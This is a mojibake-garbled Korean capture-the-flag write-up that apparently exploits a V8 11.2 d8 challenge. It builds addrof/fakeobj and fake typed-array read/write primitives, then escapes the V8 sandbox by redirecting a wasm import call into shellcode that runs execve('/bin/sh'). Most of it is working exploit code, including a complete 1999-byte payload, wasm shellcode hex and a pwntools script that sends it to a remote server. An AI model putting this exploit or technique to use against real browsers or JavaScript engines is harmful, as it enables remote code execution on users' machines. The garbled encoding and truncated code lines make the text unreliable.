5. โ๏ธ ์๋ฐฉํฅ ์์ R/W โ fake Float64Array์ base_pointer๋ฅผ ๊ฐ์๋ผ์ฐ๋ค
์ด์ backward๊น์ง ์ฝ์ด์ผ ํ๋ค. FixedDoubleArray๋ data๊ฐ ํค๋ ๋ค์ ์ธ๋ผ์ธ์ด๋ผ ์์น๋ฅผ ๋ชป ์ฎ๊ธด๋ค. ํ์ง๋ง Float64Array(TypedArray)๋ data_ptr์ ํ๋๋ก ๋ค๊ณ ์๋ค. ์ด๊ฑธ ์์กฐํ๋ฉด ์ ๋ ์คํ์
์ ์ง์ ์ง์ ํ ์ ์๋ค. ๋จผ์ ์ง์ง TA์ ํ๋๋ฅผ natives %DebugPrint๋ก ๋ถ๊ฒํ๋ค.
// on-heap Float64Array์ ๋ด๋ถ ํ๋ โ data_ptr์ด ์ด๋ป๊ฒ ๋ง๋ค์ด์ง๋
var fa = new Float64Array(4); fa[0]=1.1;
%DebugPrint(fa);
Float64Array ๋ถ๊ฒ โ data_ptr = base_pointer + external_pointer(=cage+7)
์ฌ๊ธฐ์ ๊ณต์์ด ๋์จ๋ค. on-heap TA๋ data_ptr = decompress(base_pointer) + 7(external_pointer๊ฐ cage+7๋ก ์์). ์๋๋ฐ์ค 11.2์ TA๋ byte_lengthยทexternal_pointer๊ฐ ์ธ์ฝ๋ฉ๋ sandboxed ํ๋๋ผ ์์ผ๋ก ์์กฐํ๊ธฐ ๊น๋ค๋กญ๋ค. ๊ทธ๋์ ์ดํดํ๋ ค ๋ค์ง ์๊ณ ์ง์ง Float64Array์ ํ๋ ์ ์ฒด(+0x00~+0x3c)๋ฅผ fake-FDA๋ก leakํด tacont์ ํต์งธ ๋ณต์ฌํ๋ค. ๊ทธ๋ฆฌ๊ณ base_pointer(+0x34) ํ๋๋ง ๋งค ์ ๊ทผ๋ง๋ค Y โ 7๋ก ๊ฐ์๋ผ์ ๋ค.
์ง์ง TA ํ๋๋ฅผ ํต์งธ ๋ณต์ฌํ๊ณ base_pointer๋ง ๊ฐ์๋ผ์ด๋ค โ data_ptr = cage + Y
function read64(Y) {
tacont[6] = D(lo30, (Y & ~1) - 7); // base_pointer โ Y-7 (wild)
let d = ft[0]; // data_ptr = cage + Y โ *(Y)
tacont[6] = orig6; // ์ฆ์ ์๋ณต (GC๊ฐ wild ํฌ์ธํฐ๋ฅผ ์ถ์ ํ๋ฉด OOM)
return f2i(d);
}
function write64(Y, v) {
let nv = i2f(v);
tacont[6] = D(lo30, (Y & ~1) - 7);
ft[0] = nv;
tacont[6] = orig6;
}
data_ptr = cage + (Yโ7) + 7 = cage + Y. ๊ทธ๋์ ft[0] = *(Y) โ ๋ฐฉํฅ๋ ์ ๋ ฌ๋ ๋ฌด๊ด. backward ์ธ์คํด์ค๋ ํ ๋ฐ์ ์ฝํ๋ค. ๋จ, base_pointer๋ ํ๊ทธ๋ ํฌ์ธํฐ๋ผ wild ์ํ์์ GC๊ฐ ๋๋ฉด ๊ทธ ๊ฐ์ง ํฌ์ธํฐ๋ฅผ ์ถ์ ํ๋ค OOM์ด ๋๋ค. ์ฝ์ ์งํ ์๋ณตํ๊ณ , wild ์๋์ฐ ์์์๋ ํ ๋น์ 0์ผ๋ก(๊ณต์ ๋ฒํผ) ๋ง๋ค์ด GC ์์ฒด๊ฐ ์ ๋ผ๊ฒ ํ๋ค.
ํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ํ ๋ฒ์ ๊ฒ์ฆํ๋ฉด ์ด๋ ๋ค โ addrofยทfakeobjยทfake-FDA(forward)ยทfake-TA(์๋ฐฉํฅ)๊ฐ ํ ์คํ์์ ์ ๋ถ ์ ๋ค.
./extracted/deploy/out/d8 work/exploit_demo.js # ๋ค ํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ํ ์คํ์์ ๊ฒ์ฆ
ํ ์คํ ๊ฒ์ฆ โ read64(da)๊ฐ da.map์, write64๊ฐ da[0]์ ์ ํํ (da๋ base๋ณด๋ค backward)
da๋ R/W base๋ณด๋ค backward์ ์๋๋ฐ๋ read64(da)๊ฐ da.map(0x18d7b9)์ ์ ํํ ๋ฑ๊ณ , write64๋ก da[0]์ด 13.371337๋ก ๋ฐ๋๋ค. 5/5 ๊ฒฐ์ ์ .
6. ๐ ์๋๋ฐ์ค ํ์ถ โ ์ ๋์ฃผ์ ๋์ถ ์์ด RIP์ ์ก๋ค
์ผ์ด์ง R/W๊ฐ ์ฐ์ง๋ง, ์๋๋ฐ์ค๋ ์ผ์ด์ง ๋ฐ raw ํฌ์ธํฐ ์ฝ๊ธฐ๋ฅผ ๋ง๋๋ค. ์
ธ์ฝ๋๋ฅผ ์ด๋์ ๋๊ณ ์ด๋ป๊ฒ ์ ํํ๋. ์ด๊ฑด V12 Revenge์์ ํ๋ฆฝํ ๊ธฐ๋ฒ์ ๊ทธ๋๋ก ๊ฐ์ ธ์๋ค โ ๊ฐ์ V8 11.2๋ผ ์คํ์
์ด ๋์ผํ๋ค. ๋จผ์ import๋ฅผ ๊ฐ์ง ์ต์ wasm ์ธ์คํด์ค๋ฅผ ๋ถ๊ฒํ๋ค.
// imported_function_targets / jump_table_start ์์น ํ์ธ
var inst = new WebAssembly.Instance(new WebAssembly.Module(WB), {e:{f:()=>7}});
inst.exports.g(); inst.exports.s();
%DebugPrint(inst);
WasmInstanceObject ๋ถ๊ฒ โ imported_function_targets(+0x18 ByteArray), jump_table_start(+0x60)
ํต์ฌ์ ์ด ๋ ํ๋๊ฐ ์ผ์ด์ง ์์ ํ๋ฌธ์ผ๋ก ์๋ค๋ ๊ฒ.
+0x60 jump_table_start โ ์๋๋ฐ์ค ๋ฐ RWX์ ์ ๋์ฃผ์. read64(inst+0x60)๋ก ๊ทธ๋ฅ ์ฝํ๋ค.
+0x18 imported_function_targets โ import ์ฝ ํ๊น์ ๋ด์ ByteArray. data[0]์ด import0์ด ์ค์ ๋ก ์ ํํ๋ ๊ณณ.
imported_function_targets๋ฅผ ๋ฎ์ด import ํธ์ถ์ ์
ธ์ฝ๋(jt+0x81d)๋ก ๋๋ฆฐ๋ค
ByteArray+8(์ฝ ํ๊น)์ jt + 0x81d๋ก ๋ฎ์ผ๋ฉด, inst.exports.g()(=call import0)๊ฐ ๊ทธ RWX ์ฃผ์๋ก ์ ํํ๋ค. ์ ๋์ฃผ์๋ฅผ ๋์ถํ ํ์๊ฐ ์๋ค โ jt๋ ์ธ์คํด์ค ์(+0x60)์ ์๊ณ , ๋ฎ๋ ๊ฑด ์ผ์ด์ง R/W๋ก ์ถฉ๋ถํ๋๊น.
jt + 0x800์ s ํจ์์ Liftoff ์ฝ๋๊ฐ ์๊ณ , ๊ทธ ์ +0x81d๊ฐ ์
ธ์ฝ๋ ์ง์
์ด๋ค. ์
ธ์ฝ๋๋ i64.const ์ฒญํฌ๋ก ์ฌ๋๋ค โ i64.const 0x...๋ movabs rax, imm64๋ก ์ปดํ์ผ๋๊ณ , ๊ทธ 8๋ฐ์ดํธ ํผ์ฐ์ฐ์๊ฐ ๊ณง ์ฝ๋๋ค. ๊ฐ ์ฒญํฌ [6B ์ฝ๋][eb 02]๋ก ๋ค์ movabs ํ๋ฆฌํฝ์ค(48 b8)๋ฅผ ๊ฑด๋๋ฐ๋ฉฐ ์ด์ด์ง๋ค.
mov rdi, r14 ; r14 = cage base, RIP ํ์ด์ฌํน ์์ ์ ์์กด
mov ecx, 0x38 ; shl rcx,0x1c ; add rdi, rcx ; rdi += 0x380000000 = wasm ์ ํ๋ฉ๋ชจ๋ฆฌ
xor edx,edx ; push rdx ; push rdi ; mov rsi,rsp ; argv = [path, NULL]
mov eax, 0x3b ; syscall ; execve(mem[0], argv, 0)
path๋ JS์์ wasm ๋ฉ๋ชจ๋ฆฌ[0]์ ์จ๋๋ค. ์ฒ์์ flag_reader ๊ฒฝ๋ก๋ฅผ ์ง์ ๋ฃ์ผ๋ ค ํ๋๋ฐ โ ์๋ฒ์ ์ง์ง flag_reader๋ ํ์ผ๋ช
์ md5๊ฐ ๋ถ์ด ์๊ณ (๋ฐฐํฌ ์ mv flag_reader flag_reader-$(md5sum)), ๊ทธ md5๋ฅผ ๋ชจ๋ฅธ๋ค. ๊ทธ๋์ path = "/bin/sh"๋ก ๋๊ณ ๋ ์๋ฆฌํ๊ฒ ํ์๋ค. execve("/bin/sh") ๋ค์ d8์ stdin์ด ๊ณง ๋คํธ์ํฌ ์์ผ์ด๋ค. runner๊ฐ <EOF>๊น์ง ์ฝ๊ณ d8์ ๋์ฐ๋ฉด, ๊ทธ ๋ค๋ก ๋ด๊ฐ ๋ณด๋ด๋ ๋ฐ์ดํธ๊ฐ ๊ทธ๋๋ก ์
ธ์ stdin์ด ๋๋ค. ๊ทธ๋ฌ๋ <EOF> ๋ค์ ./flag_reader-*๋ฅผ ๊ธ๋กญ์ผ๋ก ์ฃผ์
ํ๋ฉด ๋ชจ๋ฅด๋ md5๋ ์
ธ์ด ์์์ ๋งค์นญํ๋ค. ํ ์ฐ๊ฒฐ๋ก ๋.
7. โ๏ธ 2000๋ฐ์ดํธ โ ์ต์ค๋ฅผ ๋ค์ด์ดํธํ๋ค
์๋ฒ runner๋ ์น์ ํ๊ฒ ์๋ ค์ค๋ค. Please send your own payload! โฆ Max: 2000bytes. ์์ฑ๋ ์ต์ค๋ ์ฒ์ 2500๋ฐ์ดํธ์๋ค. ๊น์์ผ ํ๋ค.
- fakeobj idx๋ฅผ ํ๋์ฝ๋ฉ(์บ๋ฆฌ๋ธ๋ ์ด์
์์
m=10์ด 8/8 ์ผ๊ด) โ ๊ฒ์ ๋ฃจํ ์ ๊ฑฐ
- addrof ๊ฐ์ ฏ๊ณผ mapArr-leak ๊ฐ์ ฏ์ ํ ํฉํ ๋ฆฌ
mk(O)๋ก ๋ณํฉ(๋ ๋ค o=[v,v,v,v], OFF๋ง ๋ค๋ฆ)
- WASM์ hex +
Uint8Array.from(...match(/../g), h=>+("0x"+h))๋ก(466์โ274์), ์
ธ์ฝ๋๋ 6๋ฐ์ดํธ ์ฒญํฌ๋ก ํจํน(8โ7)
- ๊ณต์ ArrayBuffer ํฌํผ,
Math.floor(k/8)โk/8|0, ํ์ดํ ํจ์โฆ
์ด๋ ๊ฒ 1999๋ฐ์ดํธ๊น์ง ๊น์๋ค. wasm ๋ชจ๋์ 137๋ฐ์ดํธ.
โถ๐ ์ฝ์ง 3 โ ๋ค์ด์ดํธ๊ฐ ์กฐ์ฉํ ์ต์ค๋ฅผ ๊นจ๋จ๋ฆฐ ๊ฒ๋ค
๋ฐ์ดํธ๋ฅผ ๊น๋ค๊ฐ ์ต์ค๊ฐ ์ฃฝ๋๋ฐ ์ด๋์ ์ฃฝ๋์ง ์ ๋ณด์ด๋ ๊ฒ ์ ์ผ ํ๋ค์๋ค. ๋ก๊ทธ๋ฅผ ๋ค ๋บ์ผ๋๊น.
+0์ ๋บ๋๋ 0/10. fakeobj ์ธ๋ฑ์ค๋ฅผ i=(a>>>31)*10์ผ๋ก ํ๋์ฝ๋ฉํ๋ฉด์ ๋์ +0์ ๊ฐ์ด ์ง์ ๋ค. ๊ทธ๋ฌ์ .at reducer์ fold๊ฐ ์ ๊ฑธ๋ ค OOB๊ฐ ์ ์๋๋ค. *10+0์ผ๋ก ๋๋๋ฆฌ๋ 10/10. typer๋ฅผ ์์ด๋ ์์ ๋ชจ์์ด ๊ทธ๋งํผ ์๋ฏผํ๋ค.
- ๊ณต์ ๋ฒํผ
F๋ฅผ TA ํ
ํ๋ฆฟ์ผ๋ก ์ผ๋๋ 0/8. rt=new Float64Array(4)๋ฅผ ๋ฐ๋ก ์ ๋ง๋ค๊ณ ํฌํผ์ฉ F(๊ธธ์ด 1)๋ฅผ ์ฌ์ฌ์ฉํ๋ ค ํ๋๋ฐ, fake-TA๊ฐ ๊นจ์ก๋ค. 30๋ฐ์ดํธ ์๋ผ๋ ค๋ค ๋ฉฐ์น ์น ์ ๋ขฐ์ฑ์ ๋ ๋ฆด ๋ป. ๋๋๋ ธ๋ค.
- ์ธ๋ผ์ธ vs ํจ์. fake-FDA ๋น๋๋ฅผ ์ธ๋ผ์ธํ๋ฉด 0/N,
buildRW() ํจ์๋ก ๊ฐ์ธ๋ฉด 8/8. ๋ฐ์ดํธ๋ ํจ์๊ฐ ๋ ํฐ๋ฐ, ์ ๋ขฐ์ฑ์ด ๊ทธ๊ฑธ ์ด๊ธด๋ค.
๊ตํ ํ๋ โ ๋ก๊ทธ๋ฅผ ๋ค ๋นผ๊ณ ๊น์ง ๋ง๋ผ. ๊น์ ๋๋ง๋ค ํ ๋ฒ์ฉ ๋ก์ปฌ์์ 10/10์ ํ์ธํ๋ฉด์ ํ ์ค์ฉ ์ค์์ด์ผ ํ๋๋ฐ, ๋ช ์ค์ ํ๊บผ๋ฒ์ ๊น์๋ค๊ฐ ์ด๋ ์ค์ด ๋ฒ์ธ์ธ์ง ์ด๋ถํ์ํ๋๋ผ ๋ ์ค๋ ๊ฑธ๋ ธ๋ค.
wc -c work/exploit_final2.js /tmp/exploit.wasm # ์ต์ค ๋ณธ๋ฌธ + wasm ๋ชจ๋ ํฌ๊ธฐ
ํฌ๊ธฐ โ ์ต์ค 1999๋ฐ์ดํธ(ํ๋ 2000), wasm 137๋ฐ์ดํธ
๋ณธ๋ฌธ ๊ณณ๊ณณ์ ์ชผ๊ฐ ๋ณด์ธ ์กฐ๊ฐ๋ค์ ํฉ์น๋ฉด, ์๋ฒ์ ๊ทธ๋๋ก ๋ณด๋ด๋ 1999๋ฐ์ดํธ ํ์ด๋ก๋๊ฐ ๋๋ค. ์์์ ์ค๋ช
ํ ๋จ๊ณ๊ฐ ํ ์ค์ฉ ์ด๋์ ๋ค์ด๊ฐ๋์ง ์ฃผ์์ผ๋ก ํ์ํ๋ค.
โถ๐ ํ ์ต์คํ๋ก์ โ exploit_final2.js (1999B, ์๋ฒ์ ๊ทธ๋๋ก ์ ์ก)
host3.dreamhack.games:23039์ <EOF>๊น์ง ์ด๊ฑธ ๋ณด๋ด๋ฉด execve("/bin/sh")๊น์ง ๊ฐ๋ค. ์ค๋ง๋ค ๋ณธ๋ฌธ ์ ์ ๋ฌ์๋ค.
// โโ ๊ณต์ 8B ๋ฒํผ + doubleโint ๋ณํ ํฌํผ (ํ ๋น 0)
B=new ArrayBuffer(8);F=new Float64Array(B);U=new Uint32Array(B);Q=new BigUint64Array(B);
function L(x){F[0]=x;return U[0]}
function D(l,h){U[0]=l;U[1]=h;return F[0]}
// โโ ยง2 ๋ฒ๊ทธ ๋ณธ์ฒด: Math.exp ์ฒด์ธ์ผ๋ก reshapeํ ์ธ๋ฑ์ค (typer๊ฐ NaN์ ์์)
P="let a=Math.exp(x);a=Math.sign(a);a=Math.abs(a);a+=2;a>>=1;let p=[1.1,2.2,3.3,4.4];";
mk=O=>new Function("x","v","s",P+"let i=(a>>>29)+"+O+";let o=[v,v,v,v];s[0]=o;return p.at(i)");
// โโ ยง2 addrof: o=[v,v,v,v]๋ฅผ .at OOB๋ก ๋์ถ (sink[0]=o๋ก fold ์ ์ง)
g=mk(0);S=[];M={};for(t=0;t<300000;t++){g(1.1,M,S);if((t&7)==0)g('x',M,S)}
ao=o=>L(g(NaN,o,S));
// โโ ยง8 mapArr ๋ฐํ์ leak: o=double ๋ฐฐ์ด์ map(hi32==props 0x1c9)์ OFF ์ค์บ
MA=0;for(O=2;O<6&&!MA;O++){gm=mk(O);z=[];for(t=0;t<99e3;t++){gm(1.1,1.5,z);if((t&7)==0)gm('x',1.5,z)}F[0]=gm(NaN,1.5,z);if(U[1]==0x1c9)
// โโ ยง2 fakeobj: object reader ์ double ๋ฐฐ์ด d, idx ๋ฐฐ์=10 ํ๋์ฝ๋ฉ
R={};FO=new Function("x","r","d","s",P+"let i=(a>>>31)*10+0;let o=[r,r,r,r];let q=[d,d,d,d,d,d,d,d,d,d,d];s[0]=p;s[1]=o;s[2]=q;return o.at(i)");
fs=[];for(t=0;t<120000;t++){FO(1.1,R,1.1,fs);if((t&7)==0)FO('x',R,1.1,fs)}
fo=a=>FO(NaN,R,D(a,a),fs);
// โโ ยง6 ์
ธ์ฝ๋ wasm (137B): import + g(call import) + s(execve ์ฒญํฌ). path="/bin/sh"
W=Uint8Array.from("0061736d0100000001040160000002070101650166000003030200000503010001070d03016d020001670001017300020a5702040010000b500042cc92de8fa3dad4f5021a42b9f180808080e4f5021a42c88287e78192e4f5021a42c882bcbe8592e4f5021a42c8929a878992e4f5021a42b8f780808080e4f5021a428f8ac0848992a4c8907f1a0b".match(/../g),h=>+("0x"+h));
I=new WebAssembly.Instance(new WebAssembly.Module(W),{e:{f:()=>7}});
I.exports.g();I.exports.s();
mm=new Uint8Array(I.exports.m.buffer);mm.set([47,98,105,110,47,115,104]);
ib=ao(I)&~1;
// โโ ยง3 fake-FDA: cont/fda young ๋ฐฐ์ด๋ก forward ์ผ์ด์ง R/W (ํจ์ ๋ํ์ด ์ ๋ขฐ์ฑ)
function BR(){var c=[1.1,1.1],e=[1.1,1.1];var A=ao(e);e[0]=D(0x103d,0x80000);e[1]=1.1;DB=(A&~1)-8;c[0]=D(MA,0x1c9);c[1]=D(((A&~1)-16)|1,0x80000);return fo(((ao
fa=BR();
r32=X=>{k=(X&~1)-DB;i=k/8|0;F[0]=fa[i];return U[k-i*8?1:0]};
// โโ ยง5 fake-TA: ์ง์ง Float64Array ํ๋๋ฅผ leakํด tacont์ ๋ณต์ฌ (tE๋ ยง4 leaked offset)
rt=new Float64Array(4);rt[0]=1.1;
tc=[1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1];
rA=ao(rt)&~1;tA=ao(tc)&~1;
for(j=0;j<8;j++)tc[j]=D(r32(rA+j*8),r32(rA+j*8+4));
ft=fo(((r32(tA+8)&~1)+8)|1);
// โโ ยง5 ์๋ฐฉํฅ read64/write64: base_pointer๋ฅผ Y-7๋ก ๊ฐ์๋ผ์ฐ๊ณ ์ฆ์ ์๋ณต
o6=tc[6];l3=L(o6);
rd=Y=>{tc[6]=D(l3,(Y&~1)-7);F[0]=ft[0];tc[6]=o6;return Q[0]};
wr=(Y,v)=>{tc[6]=D(l3,(Y&~1)-7);Q[0]=v;ft[0]=F[0];tc[6]=o6};
// โโ ยง6 ํ์ถ: jt=read64(inst+0x60), imported_function_targets(+0x18) data[0]์ jt+0x81d๋ก ๋ฎ๊ณ g() ํธ์ถ
jt=rd(ib+0x60);
it=Number(rd(ib+0x18)&0xfffffffen);
wr(it+8,jt+0x81dn);
I.exports.g();
WASM ๋ชจ๋(W)์ wat2wasm์ผ๋ก ๋ฝ์ hex๋ก ๋ฐ์๋ค. ์
ธ์ฝ๋๋ i64.const ์ฒญํฌ๋ค(movabs rax,imm64์ 8B ํผ์ฐ์ฐ์ = ์ฝ๋, ๋ eb 02๋ก ๋ค์ 48 b8 ๊ฑด๋๋)์ด๊ณ , execve(mem[0]="/bin/sh", [path,0], 0)์ ํ๋ค. ์ ์ก ๋๋ผ์ด๋ฒ(pwntools)๋ 9์ ์ ์๋ค โ ์ต์ค + <EOF> ์ ์ก โ d8์ด /bin/sh๊น์ง ๊ฐ๋๋ก ๋๊ธฐ โ <EOF> ๋ค๋ก ./flag_reader-* ๊ธ๋กญ ์ฃผ์
.
๋ก์ปฌ ๊ฒ์ฆ์ ๊ฒฐ์ ์ ์ด์๋ค. printf 'echo OK\n' | ./out/d8 exploit.js๋ฅผ 12๋ฒ ๋๋ ค ์
ธ ๋๋ฌ๋ฅ ์ ์ผ๋ค.
bash /tmp/rcecount.sh # printf 'echo OK\n' | d8 exploit_final2.js ๋ฅผ 12๋ฒ
execve(/bin/sh) ๋๋ฌ๋ฅ โ 1999๋ฐ์ดํธ, 12/12 ๊ฒฐ์ ์
ํ์ฒด์ธ์ ์๋ฒ harness(runner.py)๋ฅผ ๊ทธ๋๋ก ๋ก์ปฌ์์ ๋๋ ค ํ์ธํ๋ค โ ์ต์ค๋ฅผ ๋ณด๋ด๊ณ <EOF> ๋ค๋ก ์
ธ ๋ช
๋ น์ ์ฃผ์
ํ๋ค.
io = process(['python3', 'runner.py']) # ์๋ฒ harness ๊ทธ๋๋ก
io.recvuntil(b'bytes'); io.recvline()
io.send(expl); io.send(b'\n<EOF>\n') # ์ต์ค ๋ณธ๋ฌธ(1999B) + ์ข
๋ฃ ๋ง์ปค
time.sleep(0.8)
io.send(b'id; ls flag*; ./flag_reader-* 2>&1\n') # execve(/bin/sh) ๋ค stdin์ผ๋ก ๊ธ๋กญ ์ฃผ์
print(io.recvrepeat(4).decode())
๋ก์ปฌ ํ์ฒด์ธ โ runner.py๋ฅผ ํตํด ์ต์คโ์
ธโ๊ธ๋กญ flag_readerโ(๊ฐ์ง) flag ํ์
uid๊ฐ ์ฐํ๊ณ , ls flag*๋ก ํ์ผ์ด ๋ณด์ด๊ณ , ๊ธ๋กญ์ผ๋ก flag_reader๊ฐ ์คํ๋ผ (๋ก์ปฌ ๋ฏธ๋ฌ์ ๊ฐ์ง) flag๊ฐ ๋์จ๋ค. ์ฌ๊ธฐ๊น์ง ์ค๋ ๋ฐ ์ฌํ. ๋ก์ปฌ 10/10. ์ด์ ์๋ฒ๋ง ๋จ์๋ค๊ณ ์๊ฐํ๋ค. ๊ทธ๊ฒ ์๋์๋ค.
8. ๐ ๋ก์ปฌ์ 10/10์ธ๋ฐ ์๋ฒ๋ 0/12 โ mapArr ํ๋๊ฐ ๋ฌ๋๋ค
host3.dreamhack.games:23039์ ์๋ ์ ๋ถ SEGV์๋ค. ๋ก์ปฌ์์ 10/10์ธ ์ต์ค๊ฐ ์๋ฒ์์ 0/12. ๊ฐ์ d8 ๋ฐ์ด๋๋ฆฌ์ธ๋ฐ. ํฌ๋์ ์ฃผ์๋ ์ต์ํ โฆ999999b5(fa.map = 1.1) โ ๊ฐ์ง FDA๊ฐ ๊นจ์ง ๋ชจ์.
์ฌ๊ธฐ์ ํํ์ ํ ๋ฒ ํ๋ค. ์ฌํ ๊ฑธ๋ ค ๊ฒฐ์ ์ ์ผ๋ก ๋ง๋ ์ต์ค๊ฐ, ์๋ฒ์์ ํ ๋ฐ๋ ์ ๋ง๋๋ค.
โถ๐ ์ฝ์ง 4 โ ์ ์๋ฒ์์๋ง ์ฃฝ์๋ (๋ก์ปฌ์์ ์ฌํ)
๊ฐ์ d8 ๋ฐ์ด๋๋ฆฌ์ธ๋ฐ ๋ก์ปฌ 10/10, ์๋ฒ 0/12. ์ฒ์์ "์๋ฒ๊ฐ ๋๋ ค์ GC ํ์ด๋ฐ์ด ๋ค๋ฅธ๊ฐ" ์ถ์๋ค. ์ง๋จ์ ๋ณด๋ด ์๋ฒ์ mapArr์ด 0x10d7b9์์ ์๊ณ ๋์, ๊ทธ ๊ฐ์ ๋ก์ปฌ ์ต์ค์ ์ผ๋ถ๋ฌ ํ๋์ฝ๋ฉํด๋ดค๋ค.
printf "echo X\n" | ./extracted/deploy/out/d8 work/wrong_maparr.js 2>&1 | head -7
์๋ฒ mapArr(0x10d7b9)๋ฅผ ๋ก์ปฌ์ ํ๋์ฝ๋ฉ โ ๋ก์ปฌ(0x18d7b9)์ ์ฆ์ SEGV โฆ999999b5 โ ์๋ฒ 0/12์ ๊ฐ์ ์๋ช
๋ก์ปฌ์์๋ ๋๊ฐ์ด โฆ999999b5๋ก ์ฃฝ์๋ค โ ์๋ฒ์์ ๋ณธ ๊ทธ ํฌ๋์ ์๋ช
๊ทธ๋๋ก. ๊ฐ์ง JSArray์ map์ ํ๋ฆฐ ๊ฐ์ผ๋ก ๋ฐ์ผ๋, Array.isArray๊ฐ ๊ทธ ํ๋ฆฐ map์ ์ญ์ฐธ์กฐํ๋ค ์ฃฝ์ ๊ฒ. ์๋ฒ๊ฐ "๋๋ ค์"๊ฐ ์๋๋ผ, ๊ฐ์ง ๊ฐ์ฒด์ map ์์ ํ๋๊ฐ ํ๊ฒฝ๋ง๋ค ๋ฌ๋๊ธฐ ๋๋ฌธ์ด์๋ค. ๋ก์ปฌ ํ ๋๋ก "๊ฒฐ์ ์ "์ ํ์ธํ ๊ฒ ํจ์ ์ด์๋ค โ ๊ทธ ์์๊ฐ ํ๊ฒฝ ๋
๋ฆฝ์ด๋ผ๊ณ ์ฐฉ๊ฐํ๋ค.
๊ตํ: ์ต์ค๊ฐ ์๋ฒ์์ ์ ๋ง์ผ๋ฉด ์ถ์ธก์ผ๋ก ์์๋ฅผ ๋ฐ๊พธ์ง ๋ง๊ณ , ๊ทธ ํ๊ฒฝ์ ์ค์ ๊ฐ์ ์ฝ์ด๋ผ. d8์ print๊ฐ ์์ผ์ผ๋ก ๋์จ๋ค๋ ๊ฒ ๊ทธ ์ง๋จ์ ๊ฐ๋ฅํ๊ฒ ํ๋ค.
์ถ์ธก์ผ๋ก ํจ์นํ์ง ์๊ณ ์ง๋จ์ ๋ณด๋๋ค. d8์ print๋ stdout(์์ผ)์ผ๋ก ๋์ค๋, ์ต์ค ๋์ "๊ฐ์ ์ถ๋ ฅํ๋ ์ง๋จ ํ์ด๋ก๋"๋ฅผ ๋ณด๋ด ์๋ฒ์ ์ค์ ์์๋ฅผ ์ฝ์๋ค โ addrof OFF(victim-์์กด์ฑ ์๊ฐ๊ฒ์ถ)์ ๊ฐ์ง ๊ฐ์ฒด์ ํ์ํ ์์๋ค(o=double ๋ฐฐ์ด์ map์ OFF ์ค์บ์ผ๋ก leak).
python3 work/cmp_server.py # ์ง๋จ ํ์ด๋ก๋๋ฅผ ๋ก์ปฌยท์๋ฒ์ ๋ณด๋ด ์์ ๋น๊ต
๋ก์ปฌ vs ์๋ฒ โ mapArr๋ง ๋ค๋ฅด๊ณ ๋๋จธ์ง๋ ์ ๋ถ ๋์ผ
[ local d8 ] mapArr=0x18d7b9 props=0x1c9 fakeobj_m=10
[ server ] mapArr=0x10d7b9 props=0x1c9 fakeobj_m=10
mapArr ํ๋๋ง ๋ฌ๋๋ค. props(๋น FixedArray), FDAmap(FixedDoubleArray map), fakeobj_m, addrof OFF๋ ์ ๋ถ ๋์ผ. ์ด์ ๊ฐ ์๋ค โ propsยทFDAmap์ read-only ๋ฃจํธ๋ผ ์ค๋
์ท์ ๋ฐํ ๊ฒฐ์ ์ ์ด์ง๋ง, PACKED_DOUBLE JSArray map์ per-Isolate map-space์ ๋ง๋ค์ด์ ธ ํ ๋ ์ด์์์ ๋ฐ๋ผ ์ํํธํ๋ค. ๋ก์ปฌ๊ณผ ์๋ฒ๋ ๋ถํ
์ ํ ๋น ์ด๋ ฅ์ด ๋ฏธ์ธํ๊ฒ ๋ฌ๋ผ(ํ์ด๋ฐยทํฐ์ด์
) map-space ๋ฒ ์ด์ค๊ฐ 0x80000๋งํผ ์ด๊ธ๋ ์์๋ค.
๊ณ ์น๋ ๊ฑด ์ด์ ๋ช
ํํ๋ค โ mapArr์ ๋ฐํ์์ leakํ๋ค. o๋ฅผ double ๋ฐฐ์ด๋ก ๋๊ณ OFF๋ฅผ ์ค์บํด, hi32 == props(0x1c9)์ธ ์ฌ๋กฏ(=๊ทธ ๋ฐฐ์ด์ map)์ ์ฐพ์ mapArr์ ๊ฐ์ ธ์จ๋ค.
// ํ๋์ฝ๋ฉ ๋์ , ๊ฐ์ง ๊ฐ์ฒด์ ์ธ PACKED_DOUBLE map์ ๋ฐํ์์ ์ฝ๋๋ค
let mk = O => new Function("x","s",
"...let i=(a>>>29)+"+O+"; let p=[1.1,2.2,3.3,4.4]; let o=[1.5,2.5,3.5,4.5];" +
"s[0]=o; return p.at(i);");
let MA = 0;
for (let O=0; O<7 && !MA; O++) {
let g = mk(O); warmup(g);
F[0] = g(NaN, s);
if (U[1] === 0x1c9) MA = U[0]; // hi32==props โ ์ด ์ฌ๋กฏ์ด ๊ทธ ๋ฐฐ์ด์ map = mapArr
}
mapArr ๋ฐํ์ leak โ OFF ์ค์บ์ผ๋ก o์ map์ ์ฐพ๋๋ค (๋ก์ปฌ 0x18d7b9 / ์๋ฒ 0x10d7b9)
ํ๋์ฝ๋ฉ ๋์ ์ด leak์ ๋ฃ์ด(์ฝ +200๋ฐ์ดํธ, ๋ค์ ๊น์ 1999 ์ ์ง) ํ๊ฒฝ์ ์ ์์์ผฐ๋ค.
์ด๊ฒ 4ํธ์์ "๊ฒฐ์ ์ ยท์ฌํ ๊ฐ๋ฅ"์ด๋ผ๊ณ ์๋ํ๋ OOB ์ธ๋ฑ์ค์ ์ด๋ฉด์ด๋ค. ์ธ๋ฑ์ค ์์ฒด๋ ๊ฒฐ์ ์ ์ด์ง๋ง, ๊ทธ๊ฒ ๊ฐ๋ฆฌํค๋ ํ ์ฃผ์๋ ํ๊ฒฝ๋ง๋ค ๋ค๋ฅด๋ค. ๋ก์ปฌ ๋ฐ์ค ํ๋๋ก "๊ฒฐ์ ์ "์ ํ์ธํ๋ฉด, ๊ทธ ๊ฒฐ์ ์ฑ์ด ํ๊ฒฝ ๋
๋ฆฝ์ด๋ผ๊ณ ์ฐฉ๊ฐํ๊ธฐ ์ฝ๋ค. ๋ค์ด์ 1์ง๋ฆฌ ๋ง์ง๋ง ํจ์ ์ด ์ ํํ ๊ฑฐ๊ธฐ์๋ค.
9. ๐ flag
mapArr leak์ ๋ฃ์ 1999๋ฐ์ดํธ ์ต์ค๋ฅผ ๋ค์ ์๋ค. pwntools๋ก ์ต์ค๋ฅผ ๋ณด๋ด๊ณ , d8์ด execve("/bin/sh")๊น์ง ๊ฐ๋๋ก ์ ๊น ๊ธฐ๋ค๋ฆฐ ๋ค, <EOF> ๋ค๋ก ๊ธ๋กญ ๋ช
๋ น์ ์ฃผ์
ํ๋ค.
io = remote('host3.dreamhack.games', 23039)
io.recvuntil(b'bytes'); io.recvline()
